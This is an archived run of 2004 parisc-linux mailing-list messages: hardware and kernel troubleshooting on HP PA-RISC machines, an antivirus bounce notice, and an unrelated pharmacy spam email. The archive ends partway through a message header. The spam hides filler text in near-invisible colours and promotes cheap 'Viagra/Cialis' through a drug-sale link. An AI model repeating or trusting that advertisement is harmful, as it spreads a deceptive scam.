Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A6CF487E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 23:18:48 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 80DED298050; Wed, 18 Feb 2004 23:18:47 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13605-10; Wed, 18 Feb 2004 23:18:47 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EBBE2298028; Wed, 18 Feb 2004 23:18:46 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040219154102.A20216@t1000>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 19 Feb 2004 06:18:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20880

On Thu, Feb 19, 2004 at 03:41:02PM +1100, John Telek wrote:
> As I only have a slow modem, has anyone got a B2000 with a working
> X config for an FXE gfx card ???
> if so, what version of X please.

Sorry - FX-E/2/4/6 are not supported.
We need documentation published or some clever hacking
based on existing published code.

grant


From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Wed, 18 Feb 2004 23:29:07 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20040219062907.GC13916@colo.lackof.org>
References: <20040218235225.GA1623@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623206 5703 80.91.229.3 (22 Nov 2014 02:26:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: grundler@lackof.org  Wed Feb 18 23:29:08 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id D98974843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 23:29:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2EB0F298050; Wed, 18 Feb 2004 23:29:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 14165-03; Wed, 18 Feb 2004 23:29:07 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7DBC1298028; Wed, 18 Feb 2004 23:29:07 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040218235225.GA1623@calypso>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 19 Feb 2004 06:29:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20881

On Wed, Feb 18, 2004 at 11:52:25PM +0000, Stuart Brady wrote:
> I'm having problems with kernels >= 2.4.22 on a 715/100.

[ delete descriptions of hang symptoms ]

Stuart,
All your symptoms point at disk IO hanging.
Setting the default queue depth to 1 would be worth trying.
I've forgotten the details for setting queue depth.
 
search parisc-linux mailing list archives "scsi queue tags".
http://lists.parisc-linux.org/pipermail/parisc-linux/2004-January/022087.html

btw, 715/50 is NOT the same as 715/100.
715/100 should have "coherent" DMA and 715/50 does not.

Maybe a FAQ entry for "715/xxx hangs" could be your first contribution?

hth,
grant


From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "System Anti-Virus Administrator" <djarnis@virascan.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] virus found in sent message "hello"
Date: 19 Feb 2004 07:28:15 -0000
Lines: 38
Approved: news@gmane.org
Message-ID: <virascanner1.virascan.dk10771756954264984@virascanner1.virascan.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416623206 5704 80.91.229.3 (22 Nov 2014 02:26:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: MAILER-DAEMON  Thu Feb 19 00:28:27 2004
Return-Path: <>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from virascanner1.virascan.dk (virascanner1.virascan.dk
	[80.82.99.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 879974843
	for <parisc-linux@parisc-linux.org>;
	Thu, 19 Feb 2004 00:28:26 -0700 (MST)
Original-Received: (qmail 5219 invoked by uid 85); 19 Feb 2004 07:28:15 -0000
X-Tnz-Problem-Type: 40
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 19 Feb 2004 07:28:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20882


Attention: parisc-linux@parisc-linux.org


A virus was found in an Email message you sent. 
This Email scanner intercepted it and stopped the entire message
reaching its destination. 

The virus was reported to be: 

Worm.SomeFool


Please update your virus scanner or contact your IT support 
personnel as soon as possible as you have a virus on your system.


Your message was sent with the following envelope:

MAIL FROM: parisc-linux@parisc-linux.org
RCPT TO:   8.2040103@ab-innovation.dk 

... and with the following headers:

---
MAILFROM: parisc-linux@parisc-linux.org
Received: from unknown (HELO ab-innovation.dk) (81.7.133.210)
  by virascanner1.virascan.dk with SMTP; 19 Feb 2004 07:27:59 -0000
From: parisc-linux@parisc-linux.org
To: 8.2040103@ab-innovation.dk
Subject: hello
Date: Thu, 19 Feb 2004 08:27:59 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="20122441"


---


From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dub@latnet.lv
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: can't compile 2.4.24: pdc_cons.o problem!
Date: Thu, 19 Feb 2004 11:33:04 +0200 (EET)
Lines: 21
Approved: news@gmane.org
Message-ID: <1077183184.403482d04a190@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623207 5707 80.91.229.3 (22 Nov 2014 02:26:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: dub@latnet.lv  Thu Feb 19 02:33:11 2004
Return-Path: <dub@latnet.lv>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.13])
	by dsl2.external.hp.com (Postfix) with SMTP id F16D14843
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Feb 2004 02:33:09 -0700 (MST)
Original-Received: (qmail 25217 invoked from network); 19 Feb 2004 09:33:08 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
	by mail.latnet.lv with SMTP; 19 Feb 2004 09:33:08 -0000
Original-Received: (qmail 7557 invoked by uid 33); 19 Feb 2004 09:33:04 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 19 Feb 2004 09:33:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20883

Matthew Wilcox willy at debian.org  wrote:

>> I'm trying to compile a new kernel for K210. I tried both stable 2.4.24 and
>>2.4.23
>> (got them by "apt-get -t stable kernel-source-2.4.2x")

> the problem you're having is that you're trying to compile a kernel
> that really doesn't support parisc.  i suggest either getting the
> latest CVS kernel (see http://www.parisc-linux.org/faq/cvs.html) or
> kernel-patch-2.4.21-hppa from the debian archive.

Thanks a lot, it works. :-) BTW, it's not possible to navigate to
http://cvs.parisc-linux.org/download/ from  http://cvs.parisc-linux.org/

One more question. How to find out status of pasisc-linux.org kernels? (stable
vs testing)

BR,
Dub



From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP A3312A High Availability Jamaica storage arrays
Date: Thu, 19 Feb 2004 14:54:24 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <40351470.90F0B475@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623207 5711 80.91.229.3 (22 Nov 2014 02:26:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jesse@cypress-tech.com  Thu Feb 19 12:52:07 2004
Return-Path: <jesse@cypress-tech.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net
	[209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id D13DC4843
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Feb 2004 12:52:05 -0700 (MST)
Original-Received: from cypress-tech.com ([209.241.53.131]) by
	cypress2.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.6713);
	Thu, 19 Feb 2004 14:50:34 -0500
X-Mailer: Mozilla 4.77 [en] (Win98; U)
X-Accept-Language: en
X-OriginalArrivalTime: 19 Feb 2004 19:50:34.0846 (UTC)
	FILETIME=[A3AC37E0:01C3F721]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 19 Feb 2004 19:52:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20884

Hi all, we are moving locations and need to clean out some hardware in
our warehouse. We have about 40 of these A3312A rack-mount High
Availability Jamaica arrays taking up space and we really don't want to
trash them. If anyone wants any, we are giving them away, I only ask
that you pay for shipping out of Tampa (33762). They are good storage
arrays that work in MPE/iX, HP-UX, Linux, & Windows/NT environment, we
have the racking hardware and both fans and power supplies are included.
They take either FWD or SE drives and the capacity is 8 low profile
drives. If your interested in getting one of these arrays or if you want
some additional specifications of the A3312A sent to you, feel free to
contact me.

Thanks
Jesse
Cypress Technology Inc
Jesse@cypress-tech.com




From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andree.bergeron" <kokconciliate@byke.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] haplessly CheapPharmacy temporal
Date: Fri, 20 Feb 2004 06:47:43 -0000
Lines: 17
Approved: news@gmane.org
Message-ID: <jsmmei.14109629vlmhml@Andree.bergerontcxqblcnq>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623207 5713 80.91.229.3 (22 Nov 2014 02:26:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: kokconciliate@byke.com  Thu Feb 19 22:39:04 2004
Return-Path: <kokconciliate@byke.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux (138.64.63.81.dial.bluewin.ch [81.63.64.138])
	by dsl2.external.hp.com (Postfix) with SMTP id 844F04892
	for <parisc-linux@parisc-linux.org>;
	Thu, 19 Feb 2004 22:39:03 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 20 Feb 2004 05:39:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20885

<html>
<font color=

#fbf3e1> stumbled summit alight, surprise Bernet closely, scoring Weider evading algaecide logicians Allstate eyeglasses splitter showroom features furrow Parthenon Wellington. precedence Wyoming Starkey cracking chicks, checksums despising troubled misused prosper internally cookery seizes Caldwell balancer biannual Xhosa. redness repeats rascally. Canaveral colds annoyances Connors spoken conceive.</font><br>
ONLY REAL SUPER VIAGDRA CALLED CIADLIS IS EFFECTIVE! Annual Sale: ONLY $3 per dose<br>
<br>clarinet<br>
<br><a hreftrespasserhref=http://Steve.com href=

"http://businessdrugs.com/sv/index.php?pid=expert">Website</a>
<br><br>
<font color=

#ebecf5>finessing eyeing ivies almost amputates, daunt shrug Solly lamps; storages destroying wintry originates subscribe Alison daylights comprising opiate. twittered knock Victorian buttressed zoological, Oligocene blundering dotting pedigree infectious envision thrasher superminis risked disallowed monkeyed Darwinian. counselors foray abysmally. Renoir looped Comdexswinger.</font><br> 
</html>




From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] b2k scsi disk pb
Date: Fri, 20 Feb 2004 18:56:12 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <402A4CA500006E8D@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623208 5717 80.91.229.3 (22 Nov 2014 02:26:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Fri Feb 20 10:56:17 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0C014868
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Feb 2004 10:56:16 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AuEsn-0004bE-00; Fri, 20 Feb 2004 18:56:13 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 20 Feb 2004 18:56:12 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 20 Feb 2004 17:56:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20886

Hi Matthew,

I trust that you could advise me about this pb:

on my b2k since I can run 2.6 (32bit with gcc-3.3 or 64bit with gcc-3.0)
i noticed from time to time such dmesg:
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.

sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: ABORT operation started.
sym0:5:0: ABORT operation timed-out.
sym0:5:0: DEVICE RESET operation started.
sym0:5:0: DEVICE RESET operation timed-out.
sym0:5:0: BUS RESET operation started.
sym0: SCSI BUS reset detected.
sym0: SCSI BUS has been reset.
sym0:5:0: BUS RESET operation complete.

and during this time the system naturaly hang.

scsi id 5 is the one of the working boot disk (a quantum model atlas5-9lvd)
and if there is well a second disk (a seagate model ST336704LC) it is not
used.

OTC with 2.4 and sym2 driver, I never noticed this behavior (even with recent
2.4.25-rc?-pa0 :) ), so I presume that there is no disk failure (and a dd
if=/dev/sda of=/dev/null bs=1024k reach to read fully the disk without any
error).

Any idea?

Thanks in advance,
    Joel



----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux only see 2Gb of ram of N4k
Date: Fri, 20 Feb 2004 19:04:26 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <402A4CA500006EA3@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623208 5725 80.91.229.3 (22 Nov 2014 02:26:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Fri Feb 20 11:04:28 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3BE548F0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Feb 2004 11:04:27 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1AuF0k-0000Li-00
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Feb 2004 19:04:26 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 20 Feb 2004 19:04:26 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 20 Feb 2004 18:04:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20887

Hi all,

My collegue make me notice that the N4k on which I can test Linux was supplied
with 4Gb of ram (which if confirm at boot prompt) but Linux only see 2Gb.

It is a dual cpu machine, is that 1/2 ram dedicated to 1 cpu and the other
1/2 to the 2d cpu?

Thanks for advise,
    Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux only see 2Gb of ram of N4k
Date: Fri, 20 Feb 2004 18:21:40 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20040220182140.GC11824@parcelfarce.linux.theplanet.co.uk>
References: <402A4CA500006EA3@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623208 5731 80.91.229.3 (22 Nov 2014 02:26:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: willy@www.linux.org.uk  Fri Feb 20 11:22:01 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AB8E4868
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Feb 2004 11:22:01 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AuFHQ-0004iG-9n; Fri, 20 Feb 2004 18:21:40 +0000
Content-Disposition: inline
In-Reply-To: <402A4CA500006EA3@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 20 Feb 2004 18:22:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20888

On Fri, Feb 20, 2004 at 07:04:26PM +0100, Joel Soete wrote:
> Hi all,
> 
> My collegue make me notice that the N4k on which I can test Linux was supplied
> with 4Gb of ram (which if confirm at boot prompt) but Linux only see 2Gb.
> 
> It is a dual cpu machine, is that 1/2 ram dedicated to 1 cpu and the other
> 1/2 to the 2d cpu?

Unlikely.  As I recall, the N4k diagram looks like this:

<-PCI-> Elroy <-Ropes\      PA <-+-> PA        PA <-+-> PA       /Ropes-> Elroy
<-PCI-> Elroy <-Ropes-\         DEW       RAM      DEW          /-Ropes-> Elroy
<-PCI-> Elroy <-Ropes--> IKE <-Merced-> Stretch <-Merced-> IKE <--Ropes-> Elroy
<-PCI-> Elroy <-Ropes-/         DEW       RAM      DEW          \-Ropes-> Elroy
<-PCI-> Elroy <-Ropes/      PA <-+-> PA        PA <-+-> PA       \Ropes-> Elroy

So the RAM is uniformly-accessible from all CPUs, but the IO is not.

If you look at pat_memconfig() in arch/parisc/kernel/inventory.c, you'll
see how we try to figure out what memory ranges are in the machine.
Want to try debugging that, see what's being reported by firmware?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] b2k scsi disk pb
Date: Fri, 20 Feb 2004 19:07:19 +0000 (GMT)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0402201900540.26386@sal.ucc.ie>
References: <402A4CA500006E8D@ocpmta2.freegates.net>
